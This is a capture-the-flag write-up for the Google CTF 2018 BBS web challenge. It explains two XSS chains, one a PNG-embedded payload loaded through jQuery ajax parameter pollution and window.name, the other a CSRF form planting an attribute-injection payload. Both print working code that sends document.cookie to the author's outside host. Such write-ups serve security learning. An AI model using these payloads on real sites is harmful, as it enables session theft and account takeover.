Tags: csrf xss
Rating: 5.0
This is a writeup of solutions for the BBS web challenge from the Google CTF 2018 Quals event. I'll explore the process of exploiting this website and the two different solutions I came up with to solve it.
The challenge links us to https://bbs.web.ctfcompetition.com/ with a warning that no memes are allowed.
The page has a retro DOS inspired theme. It features a user account system, a message board,
and a profile page.
The majority of the functionality is implemented on the client side in assets/app.js
, which is a
webpacked javascript app including a URL parsing library.
The message board page allows you to post a message and even reply to previous messages using >>number
.
Post replies can be hovered over to load an iframe of the post in question.
There is also a report functionality which alerts the admin. The goal seems to be to steal the admin's session and read some secret information.
When loading the message board, the client runs this code
function load_posts() {
$.ajax('/ajax/posts').then((text) => {
$('#bbs').html(atob(text));
linkify();
});
}
This sends a GET request to /ajax/posts
, which gives the HTML for the current posts encoded in base64.
The client decodes the base64, and writes the HTML to the webpage without sanitation. However when the
user submits a post, it is sanitized on the server before being saved. So the HTML will be pre-sanitized
before being written to the page.
linkify
looks for text matching >>number
format and creates reply elements for them. Each elements
creates an iframe that loads /post?p=/ajax/post/<number>
:
var f = document.createElement('iframe');
f.id = 'f'+id;
$(f).addClass('preview');
f.src = '/post?p=/ajax/post/'+id;
$(el).parent().append(f);
Lets explore these two new endpoints. /ajax/post/<number>
will take a post id and return the contents
encoded in base64. If the post number does not exist or cannot be viewed it returns "Private Post" encoded
instead. The body is still sanitized like before.
The /post
endpoint is purely clientside logic again:
function load_post() {
var q = qs.parse(location.search, {ignoreQueryPrefix: true});
var url = q.p;
$.ajax(url).then((text) => {
$('#post').html(atob(text));
});
}
We can see that it uses the URL parsing library to parse the search query. The target url is parameter p
on the resulting object. The client requests that url using jquery's $.ajax
method. The results is base64 decoded and rendered as HTML.
At first glance you might think you can simply encode an XSS payload in base64 on some other CORS enabled site and load it using the ajax call, but you will find there is a Content Security Policy blocking you:
content-security-policy: default-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval';
XMLHttpRequest based ajax calls obey the connect-src
CSP rule. Since none is set here, the default-src
is used, only allowing ajax requests on the same origin. We will need to find a to store our base64 payload somewhere on the site.
The profile page allows you to change your password, set a website, and upload a profile picture.
The profile image sticks out as a potential place to store a payload. We cannot directly use it as the server enforces that it must be a valid PNG, and even resizes it to 64x64 pixels.
When clicking report, the client sends a POST request to /report
with the path to visit.
The server requires that the path starts with /admin/
, but that endpoint is not very useful and just
seems broken. However, we can /admin/../<path>
to instead have the admin visit any other page on the site.
We have found a vulnerable endpoint and have a target. Now we need to find somewhere to put our payload.
Trying to load the profile image with /post
endpoint directly won't work as it is not base64 itself.
So we will need one more trick to be able to store our base64 payload in the image.
.ajax
Parameter PolutionTaking a closer look at the URL parsing library included with the app, we see that it returns the URL
parameters as an object. If we try the URL parameter object notation, we see that we can control
the object keys and values. For example: /post?p[key1]=value1&p[key2][key3]=value2
will result in this
object:
{
p: {
key1: 'value1',
key2: {
key3: 'value2'
}
}
}
If you look at the docs for .ajax you can see that it takes either a single url or an object full of settings. We can now provide that object, and set any setting we want.
The trick to grabbing just a small part of our profile image is by setting the Range
header.
This header tells the server to provide just a specific part of a static file. This will not work
on dynamic paths and paths that the browser refuses to cache.
If we can embed the XSS into the PNG, we can now surgically request it on /post
like this:
https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/x&p[headers][Range]=bytes=start-end
Placing the XSS into a valid PNG is actually tricky, since PNGs employ both compression and filtering. We can attempt to defeat the compression by including mostly random pixels. This will be uncompressible and will likely result in the compressed data being very similar to the uncompressed data. We can also place the payload at the end of our image and brute force the random pixels until the filtering happens to leave it untouched.
So the process is pretty simple:
For short payloads it works almost instantly.
Here is an example payload with alert("hello") embedded near the end:
Visit this link to see it in action: (Read on to see why we use dataType and don't base64 encode)
The longer our payload is, the harder it is to generate a PNG with it embedded inside. Its even worse if we have to base64 encode the payload as well. Including script tags, we can fit about 7 characters of javascript.
This is no good, document.cookie
alone is longer than that. We need to figure out how to
create a larger payload.
The first thing we can do is ditch the base64 and the script tags. Right now we rely on the
client setting running our payload with $('#post').html(atob(text))
. However since we control
the parameters to the ajax call, there is actually a more direct method. Jquery supports a dataType
parameter which hints it what kind of data will be returned.
There is a special case for when dataType
is set to"script"
. In this case it will actually execute
the response before doing anything else. We can take advantage of this to turn our payload into
pure javascript:
https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/x&p[headers][Range]=bytes=x-y&p[dataType]=script
Now we can execute around 32 characters of javascript easily. However its still not enough. If we want
to have our payload be something like location='//abc.yz/'+document.cookie
we need around 36-40 characters.
Trying something like eval(location.hash)
won't work either, since location.hash
will always start
with the #
, which will cause a syntax error. I also tried looking at eval(location.path)
.
If we could get the path to be something like /post/;location='//abc.yz/'+document.cookie
we could
use it. However, although the server still responds with the same page for any path starting with /post
,
the app.js
script is loaded relative (assets/app.js
) and so it 404s. If it instead was
/assets/app.js/
this would have worked.
Although we cannot steal the cookie yet, we can now redirect them to our own domain. This gives us more flexibility in what we can do.
I embedded location="//itszn.com/a"
into a PNG and built this url:
https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/073187dafeb1b8ae4bc71ae4d8f313eb&p[headers][Range]=bytes=12385-12408&p[dataType]=script
Visiting the url will redirect you to my controlled page.
Using this page, I came up with two methods to extract the admin's cookie:
There is not a lot of information that can be reflected from redirecting a user to a url without being on the same origin. You can store a payload in the query or the hash or other parts of the url, but none of those work in this case.
There is one cross-domain value that we can set: window.name
. This is a persistent value which is
kept for all pages open in a given tab or window. One origin can set it, and another can read it at will.
It can also be set for new windows with the name attribute of an iframe or with the window.open
method.
In our case we cannot use iframes since x-frame-options
header is set to SAMEORIGIN
. We also cannot use window.open
since the user has not interacted with our page yet.
We are able to manual set it and redirect. The payload we store in it will remain after the location change.
To finish the payload, we can embed eval(name)
into our PNG and build the XSS url:
<script>
window.name="location=`http://itszn.com/pingback/`+document.cookie";
location="https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/c00d237b88096add109008243a6941fb&p[headers][Range]=bytes=12400-12409&p[dataType]=script";
</script>
Running this code on https://itszn.com/a
will set window.name
, redirect to the second XSS payload, and then redirect back again with the admin's cookie.
Sending this to the admin I get a response with the flag: CTF{yOu_HaVe_Been_b&}
The second method is abusing a bug with the profile page. Once you have set a website, it will then fill the form with that value when the page is loaded in the future:
<input type="text" name="website" class="input-block-level" placeholder="Website" value=helloworld>
This value is sanitized of all quotes and angle brackets, so we cannot escape out of the tag, but since quotes were not used in the first place, we can create other attributes.
As this is an <input>
tag, the easiest way to get code execution is with onfocus
and autofocus
attributes.
asdf onfocus=alert(1) autofocus
This website payload becomes:
<input type="text" name="website" class="input-block-level" placeholder="Website" value=asdf onfocus=alert(1) autofocus>
We can steal the cookie without single or double quotes like this:
asdf onfocus=location=`http://itszn.com/pingback/`+document.cookie autofocus
Now we just need to set this website value in the first place. Luckily the website does not have any Cross-Site Request Forgery protection, so we can fake a post request from our own domain.
The only issue is that an input named submit
is required. Thanks to how great browsers are this will
replace the form's native submit function. We can prevent this by saving a reference under a different name
before adding the submit input to the form:
<form id="f" action="https://bbs.web.ctfcompetition.com/profile" method="POST" enctype="multipart/form-data">
<input type="password" name="password">
<input type="password" name="password2">
<input name="website" value="asdf onfocus=location=`http://itszn.com/pingback/`+document.cookie autofocus">
<input type="file" name="avatar">
</form>
<script>
f.submitt = f.submit;
i=document.createElement('input');
i.name="submit";
f.append(i);
f.submitt();
</script>
Redirecting to this page will cause a CSRF post request to be made installing the XSS payload and also redirect back to the profile page triggering it. All this will send the cookie our way again.